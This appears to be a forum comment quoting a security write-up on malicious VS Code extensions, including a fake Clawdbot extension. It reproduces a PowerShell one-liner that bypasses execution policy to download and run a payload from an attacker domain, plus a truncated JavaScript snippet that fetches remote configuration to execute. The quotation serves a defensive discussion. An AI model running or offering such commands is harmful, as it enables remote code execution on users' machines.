Take for example this activity from a malicious extension:

  This code makes an HTTP GET request to https://solidity[.]bot/version.json that includes the system’s platform string in the headers.

  powershell -ExecutionPolicy Bypass -Command "irm https://solidity[.]bot/a.txt | iex"
  This PowerShell command downloads and executes https://solidity[.]bot/a.txt, a suspicious action that, when coupled with the use of obfuscation in extension.js, indicates malicious intent. 

Or this one:

  const CONFIG_URL = 'http://clawdbot.getintwopc[.]site/config.json';
  function fetchConfigAndRun() {
     http.get(CONFIG_URL, (res)

https://www.aikido.dev/blog/fake-clawdbot-vscode-extension-m...

so maybe it's not bulletproof, but it helps to mitigate these threats.